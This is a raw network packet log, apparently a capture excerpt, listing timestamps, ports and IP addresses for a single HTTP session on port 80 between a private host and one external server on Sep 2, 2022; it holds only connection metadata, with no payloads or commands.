Sep 2, 2022 14:03:31.583065987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583082914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583089113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583116055 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583127975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583159924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583322048 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583379984 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583409071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583432913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583455086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583455086 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583468914 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583478928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583491087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583501101 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583524942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583547115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583568096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583590984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583612919 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583635092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583653927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.583719015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583736897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583739996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583744049 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583745956 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583750010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583753109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583755016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.583756924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593220949 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593266964 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593295097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593307972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593321085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593338013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593349934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593374968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593379021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593389988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593408108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593420982 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593436956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593446970 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593462944 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593476057 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593487024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593503952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593527079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.593590975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593617916 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.593638897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.594528913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.594552040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.594568968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595179081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595201015 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595220089 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595309019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595325947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595493078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595510006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595526934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595563889 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595650911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595669985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595688105 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595705032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595819950 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595846891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595897913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.595925093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596016884 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.596033096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596070051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.596088886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.596539974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596569061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596590996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596597910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.596612930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.596616983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596658945 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596676111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596736908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596754074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596818924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596834898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596899986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596915960 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596956968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.596972942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597599983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597637892 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597655058 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597672939 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597690105 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597707033 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597775936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597796917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597814083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597829103 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597896099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597913027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.597976923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598010063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598315954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598596096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598629951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598654985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598660946 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598681927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598701000 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598705053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598730087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598730087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598752975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598757029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598778009 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598788977 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598797083 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598807096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598820925 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598831892 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598850965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598855972 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598876953 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598895073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598917007 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598929882 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598942041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.598954916 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.598985910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599617004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599651098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599673986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599695921 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599695921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599720955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599725962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599730968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599741936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599745035 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599761009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599769115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599797010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599808931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599818945 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599842072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599843025 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599864960 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599869967 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599886894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.599889994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599910021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.599930048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600608110 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600636959 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600660086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600673914 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600682974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600693941 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600708008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600713015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600732088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600732088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600754976 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600754976 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600773096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600780010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600795031 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600805998 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.600816011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.600841999 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601722002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601753950 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601775885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601799965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601800919 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601815939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601824999 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601849079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601850986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601871967 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601880074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601893902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.601898909 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601917982 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.601936102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.602149963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602175951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602197886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.602200985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602210999 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.602226973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602240086 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.602250099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602267027 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.602273941 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602288008 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.602298021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.602312088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603231907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603271008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603288889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603295088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603306055 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603321075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603339911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603364944 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603385925 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603394985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603404045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603419065 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603440046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603445053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603454113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603473902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.603514910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.603529930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604379892 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604418993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604444027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604465961 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604470015 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604486942 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604496956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604504108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604522943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604526997 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604547977 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604549885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604571104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604574919 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604587078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604599953 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.604614019 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.604639053 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605360985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605396986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605420113 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605442047 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605443954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605458975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605468035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605469942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605487108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605495930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605510950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605519056 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605541945 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.605546951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605554104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.605581999 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.606394053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.606432915 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.606456041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.606472969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.606492996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.606503010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.606915951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.606949091 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.606971025 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.606986046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607003927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607029915 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607044935 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607053041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607069969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607091904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607101917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607141018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607156992 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607177019 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607484102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607511997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607537985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607544899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607558966 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607563972 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607575893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607589006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607603073 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607614994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.607629061 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.607655048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608530045 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608571053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608596087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608608007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608619928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608624935 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608635902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608644962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608656883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608666897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608681917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608690023 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608702898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608711958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.608726978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.608748913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.611573935 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.611614943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.611669064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.611807108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.614883900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.614919901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.614943027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.614964008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.614986897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.614998102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615010023 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615047932 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615051985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615185976 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615211010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615231037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615233898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615250111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615257978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615271091 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615282059 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615293980 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615305901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615319014 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615329981 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615369081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615375996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615384102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615397930 CEST	80	49827	89.185.85.53	192.168.2.6
